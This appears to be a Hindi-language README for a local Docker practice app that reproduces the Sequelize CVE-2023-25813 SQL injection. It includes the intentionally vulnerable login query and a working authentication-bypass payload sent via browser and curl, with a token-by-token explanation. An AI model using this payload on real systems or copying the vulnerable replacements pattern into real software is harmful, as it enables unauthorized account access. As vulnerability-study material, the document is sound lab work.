
Sequelize Sql Injection भेद्यता कार्यान्वयन
Sequelize CVE-2023-25813 की कार्यप्रणाली को स्थानीय रूप से जांचने के लिए Express + MySQL अभ्यास ऐप है।
यह प्रोजेक्ट जानबूझकर कमजोर Sequelize संस्करण और कमजोर लॉगिन क्वेरी पैटर्न बनाए रखता है। इसे इंटरनेट पर प्रदर्शित न करें और केवल स्थानीय Docker अभ्यास वातावरण में चलाएं।
localhost:3307localhost:3000मुख्य सुविधाएँ:
.env फ़ाइल का उपयोग करें। उदाहरण के लिए .env.example देखें।
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Docker चलाते समय, ऐप कंटेनर स्थानीय MySQL के बजाय Compose के अंदर db सेवा का उपयोग करता है।
ऐप कंटेनर के अनुसार DB_HOST=db
होस्ट PC के अनुसार DB कनेक्शन पोर्ट=3307
Docker Desktop चालू करने के बाद PowerShell में चलाएँ।
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
ब्राउज़र में खोलें।
http://localhost:3000
स्थिति जाँचें:
docker compose ps
docker compose logs app --tail 50
रोकें:
docker compose down
DB डेटा के साथ रीसेट करें:
docker compose down -v
Docker के अंदर MySQL में सीधे कनेक्ट करने के लिए:
docker compose exec db mysql -uroot -p cve_test_db
पासवर्ड .env में DB_PASSWORD का मान है।
Workbench जैसे GUI टूल में, नीचे दिए गए मानों से कनेक्ट करें।
Host: 127.0.0.1
Port: 3307
User: root
Password: .env का DB_PASSWORD
Database: cve_test_db
यदि DB बनाया गया है, तो ऐप लॉग में ऐसे संदेश दिखाई देते हैं।
cve_test_db डेटाबेस तैयार
admin व्यवस्थापक खाता तैयार
डेटाबेस कनेक्शन सफल
पोर्ट 3000 पर प्रतीक्षा कर रहा है
ऐप शुरू होने पर .env मानों के साथ admin खाता स्वचालित रूप से बनाता है।
डिफ़ॉल्ट मान:
आईडी: admin
पासवर्ड: admin
लॉगिन करने पर, मुख्य पृष्ठ के शीर्ष पर वर्तमान लॉगिन खाता दिखाई देता है।
वर्तमान लॉगिन खाता: admin
ब्राउज़र में /login पर जाएँ:
आईडी: admin
पासवर्ड: admin
सफल होने पर, / पर रीडायरेक्ट होता है और मुख्य पृष्ठ पर वर्तमान लॉगिन खाता दिखाई देता है।
curl से जाँचने के लिए:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
सफलता मानदंड:
HTTP/1.1 302 Found
Location: /
ब्राउज़र में /login पर जाएँ और नीचे दिए गए मान दर्ज करें।
आईडी: /**/OR/**/1=1)/**/#
पासवर्ड: :username
सफल होने पर, यह /login?error=invalid के बजाय / पर रीडायरेक्ट होता है। मुख्य पृष्ठ पर वर्तमान लॉगिन खाता भी लॉगिन किए गए उपयोगकर्ता के रूप में दिखाई देता है।
curl से जाँचें:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
सफलता मानदंड:
HTTP/1.1 302 Found
Location: /
कमजोर कोड लॉगिन रूट में है।
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
सामान्य लॉगिन में, SQL कुछ इस प्रकार होगा।
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
समस्या यह है कि literal('username = :username'), { password }, और replacements का एक ही क्वेरी में मिश्रित उपयोग किया गया है। Sequelize 6.19.0 में, replacements पूरी क्वेरी पर लागू होता है, जिससे उपयोगकर्ता द्वारा दर्ज password मान में :username भी प्रतिस्थापित हो सकता है।
अभ्यास पेलोड इस प्रकार डाला जाता है:
username = /**/OR/**/1=1)/**/#
password = :username
इस समय, वास्तविक क्वेरी लॉग में कुछ इस तरह दिखाई देती है:
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
प्रत्येक भाग का अर्थ:
password=:username: पासवर्ड फ़ील्ड में भी उपयोगकर्ता नाम प्रतिस्थापन को फिर से होने देने का मुख्य भाग है।/**/: MySQL में टिप्पणी के रूप में माना जाने वाला ब्लॉक। यह स्पेस की तरह काम करता है, इसलिए OR के आसपास रिक्त स्थान हटने पर भी SQL टोकन अलग हो जाते हैं।OR 1=1: हमेशा सत्य रहने वाली शर्त जोड़ता है।): Sequelize द्वारा बनाए गए AND(...) शर्त समूह को बंद करता है।#: MySQL एक-पंक्ति टिप्पणी। यह शेष उद्धरणों और LIMIT 1 के आसपास के भाग को टिप्पणी करके वाक्यगत त्रुटियों से बचाता है।परिणामस्वरूप, शर्त हमेशा सत्य हो जाती है, पहली उपयोगकर्ता पंक्ति लाई जाती है, और ऐप इसे सफल लॉगिन मानता है।
नीचे दिए गए जैसे पेलोड जो रिक्त स्थान पर निर्भर करते हैं, ब्राउज़र इनपुट प्रक्रिया के दौरान आगे/पीछे के रिक्त स्थान हटने पर विफल हो सकते हैं।
OR 1=1) --
MySQL में -- टिप्पणी के बाद रिक्त स्थान आवश्यक है। यदि रिक्त स्थान हटा दिया जाए, तो यह टिप्पणी के रूप में नहीं पहचानी जाती और वाक्यगत त्रुटि होती है।
इस प्रोजेक्ट में नीचे दिए गए पेलोड की अनुशंसा की जाती है:
आईडी: /**/OR/**/1=1)/**/#
पासवर्ड: :username
Docker चलाते समय, DB स्थानीय MySQL सर्वर पर नहीं, बल्कि Docker के db कंटेनर में बनता है। होस्ट PC से देखने के लिए localhost:3307 पर कनेक्ट करें।
यह सामान्य है। यह ऐप CVE अभ्यास के लिए कमजोर Sequelize संस्करण बनाए रखता है।
npm audit fix चलाने पर अभ्यास लक्ष्य कमजोरी गायब हो सकती है।